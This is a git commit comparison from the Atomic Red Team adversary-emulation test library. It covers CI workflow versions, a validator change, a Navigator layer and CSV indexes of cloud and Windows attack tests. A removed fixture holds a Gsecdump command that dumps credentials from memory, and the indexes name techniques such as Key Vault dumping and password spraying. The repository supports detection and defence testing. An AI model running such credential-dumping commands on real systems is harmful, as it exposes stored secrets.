Compare commits

..

2 Commits

Author SHA1 Message Date
Hare Sudhan fbf3b57ef0 fix T1016 2025-05-16 20:38:10 -04:00
Hare Sudhan 80637a2183 fix T1016 2025-05-16 18:43:19 -04:00
102 changed files with 2725 additions and 5207 deletions
+2 -2
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: download-artifact
uses: actions/github-script@v8
uses: actions/github-script@v7
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
@@ -35,7 +35,7 @@ jobs:
run: unzip labels.zip
- name: assign-labels-and-reviewers
uses: actions/github-script@v8
uses: actions/github-script@v7
with:
script: |
let fs = require('fs');
+2 -2
View File
@@ -8,13 +8,13 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: checkout repo
uses: actions/checkout@v5
uses: actions/checkout@v4
with:
token: ${{ secrets.PROTECTED_BRANCH_PUSH_TOKEN }}
- name: Install poetry
run: pipx install poetry
- uses: actions/setup-python@v6
- uses: actions/setup-python@v5
with:
python-version: "3.11.2"
cache: "poetry"
+2 -2
View File
@@ -12,11 +12,11 @@ jobs:
runs-on: macos-latest
steps:
- name: checkout repo
uses: actions/checkout@v5
uses: actions/checkout@v4
- name: Install poetry
run: pipx install poetry
- name: setup python3.11
uses: actions/setup-python@v6
uses: actions/setup-python@v5
id: setup-python
with:
python-version: "3.12.4"
+1 -1
View File
@@ -7,7 +7,7 @@ jobs:
stale:
runs-on: ubuntu-latest
steps:
- uses: actions/stale@v10
- uses: actions/stale@v9
with:
stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days.'
stale-pr-message: 'This PR is stale because it has been open 45 days with no activity. Remove stale label or comment or this will be closed in 10 days.'
+5 -5
View File
@@ -10,11 +10,11 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: checkout repo
uses: actions/checkout@v5
uses: actions/checkout@v4
- name: Install poetry
run: pipx install poetry
- name: setup python3.11
uses: actions/setup-python@v6
uses: actions/setup-python@v5
id: setup-python
with:
python-version: "3.11.2"
@@ -33,16 +33,16 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: checkout repo
uses: actions/checkout@v5
uses: actions/checkout@v4
- name: Install poetry
run: pipx install poetry
- name: setup python3.11
uses: actions/setup-python@v6
uses: actions/setup-python@v5
id: setup-python
with:
python-version: "3.11.2"
cache: "poetry"
- uses: actions/github-script@v8
- uses: actions/github-script@v7
id: get_pr_number
with:
script: |
+1 -1
View File
@@ -11,7 +11,7 @@ jobs:
validate-terraform:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: hashicorp/setup-terraform@v3
- name: Terraform fmt
+1 -1
View File
@@ -2,7 +2,7 @@
# Atomic Red Team
![GitHub Action Status](https://github.com/redcanaryco/atomic-red-team/actions/workflows/validate-atomics.yml/badge.svg?branch=master) ![Atomics](https://img.shields.io/badge/Atomics-1744-flat.svg) ![GitHub Action Status](https://github.com/redcanaryco/atomic-red-team/actions/workflows/generate-docs.yml/badge.svg?branch=master)
![GitHub Action Status](https://github.com/redcanaryco/atomic-red-team/actions/workflows/validate-atomics.yml/badge.svg?branch=master) ![Atomics](https://img.shields.io/badge/Atomics-1730-flat.svg) ![GitHub Action Status](https://github.com/redcanaryco/atomic-red-team/actions/workflows/generate-docs.yml/badge.svg?branch=master)
Atomic Red Team™ is a library of tests mapped to the
+1 -1
View File
@@ -47,7 +47,7 @@ class GithubAPI:
}
maintainers = {
"windows": ["clr2of8", "MHaggis", "cyberbuff"],
"windows": ["clr2of8", "MHaggis"],
"linux": ["josehelps", "cyberbuff"],
"macos": ["josehelps", "cyberbuff"],
"containers": ["patel-bhavin"],
+5 -23
View File
@@ -155,7 +155,7 @@ class Atomic(BaseModel):
executor: Union[ManualExecutor, CommandExecutor] = Field(..., discriminator="name")
dependencies: Optional[List[Dependency]] = []
input_arguments: Dict[constr(min_length=2, pattern=r"^[\w_-]+$"), Argument] = {}
dependency_executor_name: Optional[ExecutorType] = None
dependency_executor_name: ExecutorType = "manual"
auto_generated_guid: Optional[UUID] = None
@classmethod
@@ -173,10 +173,11 @@ class Atomic(BaseModel):
@field_validator("dependency_executor_name", mode="before") # noqa
@classmethod
def validate_dep_executor(cls, v, info: ValidationInfo):
if v is not None and info.data.get("dependencies") == []:
if v is None:
raise PydanticCustomError(
"invalid_dependency_executor_name",
"'dependency_executor_name' is not needed if there are no dependencies. Remove the key from YAML",
"empty_dependency_executor_name",
"'dependency_executor_name' shouldn't be empty. Provide a valid value ['manual','powershell', 'sh', "
"'bash', 'command_prompt'] or remove the key from YAML",
{"loc": ["dependency_executor_name"], "input": None},
)
return v
@@ -240,25 +241,6 @@ class Technique(BaseModel):
display_name: str = Field(..., min_length=5)
atomic_tests: List[Atomic] = Field(min_length=1)
@model_validator(mode="before")
@classmethod
def validate_dependency_executor_names(cls, data):
"""Check if dependency_executor_name keys are present with empty/None values in atomic tests"""
if isinstance(data, dict) and "atomic_tests" in data:
atomic_tests = data.get("atomic_tests", [])
for i, test in enumerate(atomic_tests):
if isinstance(test, dict) and "dependency_executor_name" in test:
value = test.get("dependency_executor_name")
# If the key exists but value is None or empty string, that's an error
if value is None or value == "":
raise PydanticCustomError(
"empty_dependency_executor_name",
"'dependency_executor_name' shouldn't be empty. Provide a valid value ['manual','powershell', 'sh', "
"'bash', 'command_prompt'] or remove the key from YAML",
{"loc": ["atomic_tests", i, "dependency_executor_name"], "input": value},
)
return data
def model_post_init(self, __context) -> None:
for index in range(len(self.atomic_tests)):
test_number = f"{self.attack_technique}-{index + 1}"
@@ -1,20 +0,0 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid:
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
elevation_required: true
dependency_executor_name: "bash"
@@ -28,6 +28,7 @@ atomic_tests:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
dependency_executor_name: powershell
executor:
command: |
"#{gsecdump_exe}" -a
-1
View File
@@ -92,7 +92,6 @@ def atomic_command_executor_builder():
executor=CommandExecutor(
name=executor_name,
command=f"{formatted_args} Custom steps here...",
elevation_required="sudo" in formatted_args,
),
input_arguments=input_arguments,
**kwargs,
@@ -1 +1 @@
{"name":"Atomic Red Team (Iaas:Azure)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Iaas:Azure) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1078","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078/T1078.md"}]},{"techniqueID":"T1078.004","score":1,"enabled":true,"comment":"\n- Azure Persistence Automation Runbook Created or Modified\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]},{"techniqueID":"T1098","score":2,"enabled":true,"comment":"\n- Azure - adding user to Azure role in subscription\n- Azure - adding service principal to Azure role in subscription\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1526","score":2,"enabled":true,"comment":"\n- Azure - Dump Subscription Data with MicroBurst\n- Azure - Enumerate common cloud services\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1526/T1526.md"}]},{"techniqueID":"T1528","score":2,"enabled":true,"comment":"\n- Azure - Functions code upload - Functions code injection via Blob upload\n- Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1528/T1528.md"}]},{"techniqueID":"T1530","score":1,"enabled":true,"comment":"\n- Azure - Dump Azure Storage Account Objects via Azure CLI\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1530/T1530.md"}]},{"techniqueID":"T1552","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552/T1552.md"}]},{"techniqueID":"T1552.005","score":1,"enabled":true,"comment":"\n- Azure - Dump Azure Instance Metadata from Virtual Machines\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.005/T1552.005.md"}]},{"techniqueID":"T1555","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555/T1555.md"}]},{"techniqueID":"T1555.006","score":1,"enabled":true,"comment":"\n- Azure - Dump All Azure Key Vaults with Microburst\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.006/T1555.006.md"}]},{"techniqueID":"T1562","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md"}]},{"techniqueID":"T1562.008","score":1,"enabled":true,"comment":"\n- Azure - Eventhub Deletion\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1578","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578/T1578.md"}]},{"techniqueID":"T1578.001","score":1,"enabled":true,"comment":"\n- Azure - Create Snapshot from Managed Disk\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578.001/T1578.001.md"}]},{"techniqueID":"T1619","score":3,"enabled":true,"comment":"\n- Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI\n- Azure - Scan for Anonymous Access to Azure Storage (Powershell)\n- Azure - Enumerate Azure Blobs with MicroBurst\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1619/T1619.md"}]}]}
{"name":"Atomic Red Team (Iaas:Azure)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Iaas:Azure) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1078","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078/T1078.md"}]},{"techniqueID":"T1078.004","score":1,"enabled":true,"comment":"\n- Azure Persistence Automation Runbook Created or Modified\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]},{"techniqueID":"T1098","score":2,"enabled":true,"comment":"\n- Azure - adding user to Azure role in subscription\n- Azure - adding service principal to Azure role in subscription\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1526","score":2,"enabled":true,"comment":"\n- Azure - Dump Subscription Data with MicroBurst\n- Azure - Enumerate common cloud services\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1526/T1526.md"}]},{"techniqueID":"T1528","score":1,"enabled":true,"comment":"\n- Azure - Dump All Azure Key Vaults with Microburst\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1528/T1528.md"}]},{"techniqueID":"T1530","score":3,"enabled":true,"comment":"\n- Azure - Enumerate Azure Blobs with MicroBurst\n- Azure - Scan for Anonymous Access to Azure Storage (Powershell)\n- Azure - Dump Azure Storage Account Objects via Azure CLI\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1530/T1530.md"}]},{"techniqueID":"T1550","score":2,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1550/T1550.md"}]},{"techniqueID":"T1550.001","score":2,"enabled":true,"comment":"\n- Azure - Functions code upload - Functions code injection via Blob upload\n- Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1550.001/T1550.001.md"}]},{"techniqueID":"T1552","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552/T1552.md"}]},{"techniqueID":"T1552.005","score":1,"enabled":true,"comment":"\n- Azure - Dump Azure Instance Metadata from Virtual Machines\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.005/T1552.005.md"}]},{"techniqueID":"T1562","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md"}]},{"techniqueID":"T1562.008","score":1,"enabled":true,"comment":"\n- Azure - Eventhub Deletion\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1578","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578/T1578.md"}]},{"techniqueID":"T1578.001","score":1,"enabled":true,"comment":"\n- Azure - Create Snapshot from Managed Disk\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578.001/T1578.001.md"}]},{"techniqueID":"T1619","score":1,"enabled":true,"comment":"\n- Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1619/T1619.md"}]}]}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+9 -7
View File
@@ -11,22 +11,20 @@ defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,10,GCP - Delete Ac
defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,1,AWS - Create Snapshot from EBS Volume,a3c09662-85bb-4ea8-b15b-6dc8a844e236,sh
defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,2,Azure - Create Snapshot from Managed Disk,89e69b4b-3458-4ec6-b819-b3008debc1bc,sh
defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,3,GCP - Create Snapshot from Persistent Disk,e6fbc036-91e7-4ad3-b9cb-f7210f40dd5d,sh
defense-evasion,T1550.001,Use Alternate Authentication Material: Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
defense-evasion,T1550.001,Use Alternate Authentication Material: Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh
credential-access,T1552.005,Unsecured Credentials: Cloud Instance Metadata API,2,Azure - Dump Azure Instance Metadata from Virtual Machines,cc99e772-4e18-4f1f-b422-c5cdd1bfd7b7,powershell
credential-access,T1552,Unsecured Credentials,1,AWS - Retrieve EC2 Password Data using stratus,a21118de-b11e-4ebd-b655-42f11142df0c,sh
credential-access,T1110.003,Brute Force: Password Spraying,9,AWS - Password Spray an AWS using GoAWSConsoleSpray,9c10d16b-20b1-403a-8e67-50ef7117ed4e,sh
credential-access,T1528,Steal Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
credential-access,T1528,Steal Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
credential-access,T1555.006,Credentials from Password Stores: Cloud Secrets Management Stores,1,Azure - Dump All Azure Key Vaults with Microburst,1b83cddb-eaa7-45aa-98a5-85fb0a8807ea,powershell
credential-access,T1528,Steal Application Access Token,1,Azure - Dump All Azure Key Vaults with Microburst,1b83cddb-eaa7-45aa-98a5-85fb0a8807ea,powershell
impact,T1485,Data Destruction,4,GCP - Delete Bucket,4ac71389-40f4-448a-b73f-754346b3f928,sh
discovery,T1580,Cloud Infrastructure Discovery,1,AWS - EC2 Enumeration from Cloud Instance,99ee161b-dcb1-4276-8ecb-7cfdcb207820,sh
discovery,T1580,Cloud Infrastructure Discovery,2,AWS - EC2 Security Group Enumeration,99b38f24-5acc-4aa3-85e5-b7f97a5d37ac,command_prompt
discovery,T1619,Cloud Storage Object Discovery,1,AWS S3 Enumeration,3c7094f8-71ec-4917-aeb8-a633d7ec4ef5,sh
discovery,T1619,Cloud Storage Object Discovery,2,Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI,070322a4-2c60-4c50-8ffb-c450a34fe7bf,powershell
discovery,T1619,Cloud Storage Object Discovery,3,Azure - Scan for Anonymous Access to Azure Storage (Powershell),146af1f1-b74e-4aa7-9895-505eb559b4b0,powershell
discovery,T1619,Cloud Storage Object Discovery,4,Azure - Enumerate Azure Blobs with MicroBurst,3dab4bcc-667f-4459-aea7-4162dd2d6590,powershell
discovery,T1201,Password Policy Discovery,12,Examine AWS Password Policy,15330820-d405-450b-bd08-16b5be5be9f4,sh
discovery,T1526,Cloud Service Discovery,1,Azure - Dump Subscription Data with MicroBurst,1e40bb1d-195e-401e-a86b-c192f55e005c,powershell
discovery,T1526,Cloud Service Discovery,2,AWS - Enumerate common cloud services,aa8b9bcc-46fa-4a59-9237-73c7b93a980c,powershell
@@ -48,10 +46,14 @@ privilege-escalation,T1098,Account Manipulation,17,GCP - Delete Service Account
privilege-escalation,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh
privilege-escalation,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell
privilege-escalation,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh
collection,T1530,Data from Cloud Storage Object,1,AWS - Scan for Anonymous Access to S3,979356b9-b588-4e49-bba4-c35517c484f5,sh
collection,T1530,Data from Cloud Storage Object,2,Azure - Dump Azure Storage Account Objects via Azure CLI,67374845-b4c8-4204-adcc-9b217b65d4f1,powershell
collection,T1530,Data from Cloud Storage Object,1,Azure - Enumerate Azure Blobs with MicroBurst,3dab4bcc-667f-4459-aea7-4162dd2d6590,powershell
collection,T1530,Data from Cloud Storage Object,2,Azure - Scan for Anonymous Access to Azure Storage (Powershell),146af1f1-b74e-4aa7-9895-505eb559b4b0,powershell
collection,T1530,Data from Cloud Storage Object,3,AWS - Scan for Anonymous Access to S3,979356b9-b588-4e49-bba4-c35517c484f5,sh
collection,T1530,Data from Cloud Storage Object,4,Azure - Dump Azure Storage Account Objects via Azure CLI,67374845-b4c8-4204-adcc-9b217b65d4f1,powershell
initial-access,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh
initial-access,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell
initial-access,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh
lateral-movement,T1550.001,Use Alternate Authentication Material: Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
lateral-movement,T1550.001,Use Alternate Authentication Material: Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
execution,T1651,Cloud Administration Command,1,AWS Run Command (and Control),a3cc9c95-c160-4b86-af6f-84fba87bfd30,powershell
execution,T1648,Serverless Execution,1,Lambda Function Hijack,87a4a141-c2bb-49d1-a604-8679082d8b91,powershell
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
11 defense-evasion T1578.001 Modify Cloud Compute Infrastructure: Create Snapshot 1 AWS - Create Snapshot from EBS Volume a3c09662-85bb-4ea8-b15b-6dc8a844e236 sh
12 defense-evasion T1578.001 Modify Cloud Compute Infrastructure: Create Snapshot 2 Azure - Create Snapshot from Managed Disk 89e69b4b-3458-4ec6-b819-b3008debc1bc sh
13 defense-evasion T1578.001 Modify Cloud Compute Infrastructure: Create Snapshot 3 GCP - Create Snapshot from Persistent Disk e6fbc036-91e7-4ad3-b9cb-f7210f40dd5d sh
14 defense-evasion T1550.001 Use Alternate Authentication Material: Application Access Token 1 Azure - Functions code upload - Functions code injection via Blob upload 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43 powershell
15 defense-evasion T1550.001 Use Alternate Authentication Material: Application Access Token 2 Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1 powershell
16 defense-evasion T1078.004 Valid Accounts: Cloud Accounts 1 Creating GCP Service Account and Service Account Key 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e sh
17 defense-evasion T1078.004 Valid Accounts: Cloud Accounts 2 Azure Persistence Automation Runbook Created or Modified 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac powershell
18 defense-evasion T1078.004 Valid Accounts: Cloud Accounts 3 GCP - Create Custom IAM Role 3a159042-69e6-4398-9a69-3308a4841c85 sh
19 credential-access T1552.005 Unsecured Credentials: Cloud Instance Metadata API 2 Azure - Dump Azure Instance Metadata from Virtual Machines cc99e772-4e18-4f1f-b422-c5cdd1bfd7b7 powershell
20 credential-access T1552 Unsecured Credentials 1 AWS - Retrieve EC2 Password Data using stratus a21118de-b11e-4ebd-b655-42f11142df0c sh
21 credential-access T1110.003 Brute Force: Password Spraying 9 AWS - Password Spray an AWS using GoAWSConsoleSpray 9c10d16b-20b1-403a-8e67-50ef7117ed4e sh
22 credential-access T1528 Steal Application Access Token 1 Azure - Functions code upload - Functions code injection via Blob upload Azure - Dump All Azure Key Vaults with Microburst 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea powershell
credential-access T1528 Steal Application Access Token 2 Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1 powershell
credential-access T1555.006 Credentials from Password Stores: Cloud Secrets Management Stores 1 Azure - Dump All Azure Key Vaults with Microburst 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea powershell
23 impact T1485 Data Destruction 4 GCP - Delete Bucket 4ac71389-40f4-448a-b73f-754346b3f928 sh
24 discovery T1580 Cloud Infrastructure Discovery 1 AWS - EC2 Enumeration from Cloud Instance 99ee161b-dcb1-4276-8ecb-7cfdcb207820 sh
25 discovery T1580 Cloud Infrastructure Discovery 2 AWS - EC2 Security Group Enumeration 99b38f24-5acc-4aa3-85e5-b7f97a5d37ac command_prompt
26 discovery T1619 Cloud Storage Object Discovery 1 AWS S3 Enumeration 3c7094f8-71ec-4917-aeb8-a633d7ec4ef5 sh
27 discovery T1619 Cloud Storage Object Discovery 2 Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI 070322a4-2c60-4c50-8ffb-c450a34fe7bf powershell
discovery T1619 Cloud Storage Object Discovery 3 Azure - Scan for Anonymous Access to Azure Storage (Powershell) 146af1f1-b74e-4aa7-9895-505eb559b4b0 powershell
discovery T1619 Cloud Storage Object Discovery 4 Azure - Enumerate Azure Blobs with MicroBurst 3dab4bcc-667f-4459-aea7-4162dd2d6590 powershell
28 discovery T1201 Password Policy Discovery 12 Examine AWS Password Policy 15330820-d405-450b-bd08-16b5be5be9f4 sh
29 discovery T1526 Cloud Service Discovery 1 Azure - Dump Subscription Data with MicroBurst 1e40bb1d-195e-401e-a86b-c192f55e005c powershell
30 discovery T1526 Cloud Service Discovery 2 AWS - Enumerate common cloud services aa8b9bcc-46fa-4a59-9237-73c7b93a980c powershell
46 privilege-escalation T1078.004 Valid Accounts: Cloud Accounts 1 Creating GCP Service Account and Service Account Key 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e sh
47 privilege-escalation T1078.004 Valid Accounts: Cloud Accounts 2 Azure Persistence Automation Runbook Created or Modified 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac powershell
48 privilege-escalation T1078.004 Valid Accounts: Cloud Accounts 3 GCP - Create Custom IAM Role 3a159042-69e6-4398-9a69-3308a4841c85 sh
49 collection T1530 Data from Cloud Storage Object 1 AWS - Scan for Anonymous Access to S3 Azure - Enumerate Azure Blobs with MicroBurst 979356b9-b588-4e49-bba4-c35517c484f5 3dab4bcc-667f-4459-aea7-4162dd2d6590 sh powershell
50 collection T1530 Data from Cloud Storage Object 2 Azure - Dump Azure Storage Account Objects via Azure CLI Azure - Scan for Anonymous Access to Azure Storage (Powershell) 67374845-b4c8-4204-adcc-9b217b65d4f1 146af1f1-b74e-4aa7-9895-505eb559b4b0 powershell
51 collection T1530 Data from Cloud Storage Object 3 AWS - Scan for Anonymous Access to S3 979356b9-b588-4e49-bba4-c35517c484f5 sh
52 collection T1530 Data from Cloud Storage Object 4 Azure - Dump Azure Storage Account Objects via Azure CLI 67374845-b4c8-4204-adcc-9b217b65d4f1 powershell
53 initial-access T1078.004 Valid Accounts: Cloud Accounts 1 Creating GCP Service Account and Service Account Key 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e sh
54 initial-access T1078.004 Valid Accounts: Cloud Accounts 2 Azure Persistence Automation Runbook Created or Modified 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac powershell
55 initial-access T1078.004 Valid Accounts: Cloud Accounts 3 GCP - Create Custom IAM Role 3a159042-69e6-4398-9a69-3308a4841c85 sh
56 lateral-movement T1550.001 Use Alternate Authentication Material: Application Access Token 1 Azure - Functions code upload - Functions code injection via Blob upload 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43 powershell
57 lateral-movement T1550.001 Use Alternate Authentication Material: Application Access Token 2 Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1 powershell
58 execution T1651 Cloud Administration Command 1 AWS Run Command (and Control) a3cc9c95-c160-4b86-af6f-84fba87bfd30 powershell
59 execution T1648 Serverless Execution 1 Lambda Function Hijack 87a4a141-c2bb-49d1-a604-8679082d8b91 powershell
+10 -24
View File
@@ -36,8 +36,6 @@ defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD,
defense-evasion,T1216.001,Signed Script Proxy Execution: Pubprn,1,PubPrn.vbs Signed Script Bypass,9dd29a1f-1e16-4862-be83-913b10a88f6c,command_prompt
defense-evasion,T1006,Direct Volume Access,1,Read volume boot sector via DOS device path (PowerShell),88f6327e-51ec-4bbf-b2e8-3fea534eab8b,powershell
defense-evasion,T1564.008,Hide Artifacts: Email Hiding Rules,1,New-Inbox Rule to Hide E-mail in M365,30f7d3d1-78e2-4bf0-9efa-a175b5fce2a9,powershell
defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,1,Decode Eicar File and Write to File,7693ccaa-8d64-4043-92a5-a2eb70359535,powershell
defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,2,Decrypt Eicar File and Write to File,b404caaa-12ce-43c7-9214-62a531c044f7,powershell
defense-evasion,T1014,Rootkit,1,Loadable Kernel Module based Rootkit,dfb50072-e45a-4c75-a17e-a484809c8553,sh
defense-evasion,T1014,Rootkit,2,Loadable Kernel Module based Rootkit,75483ef8-f10f-444a-bf02-62eb0e48db6f,sh
defense-evasion,T1014,Rootkit,3,dynamic-linker based rootkit (libprocesshider),1338bf0c-fd0c-48c0-9e65-329f18e2c0d3,sh
@@ -79,9 +77,8 @@ defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Cachi
defense-evasion,T1542.001,Pre-OS Boot: System Firmware,1,UEFI Persistence via Wpbbin.exe File Creation,b8a49f03-e3c4-40f2-b7bb-9e8f8fdddbf1,powershell
defense-evasion,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell
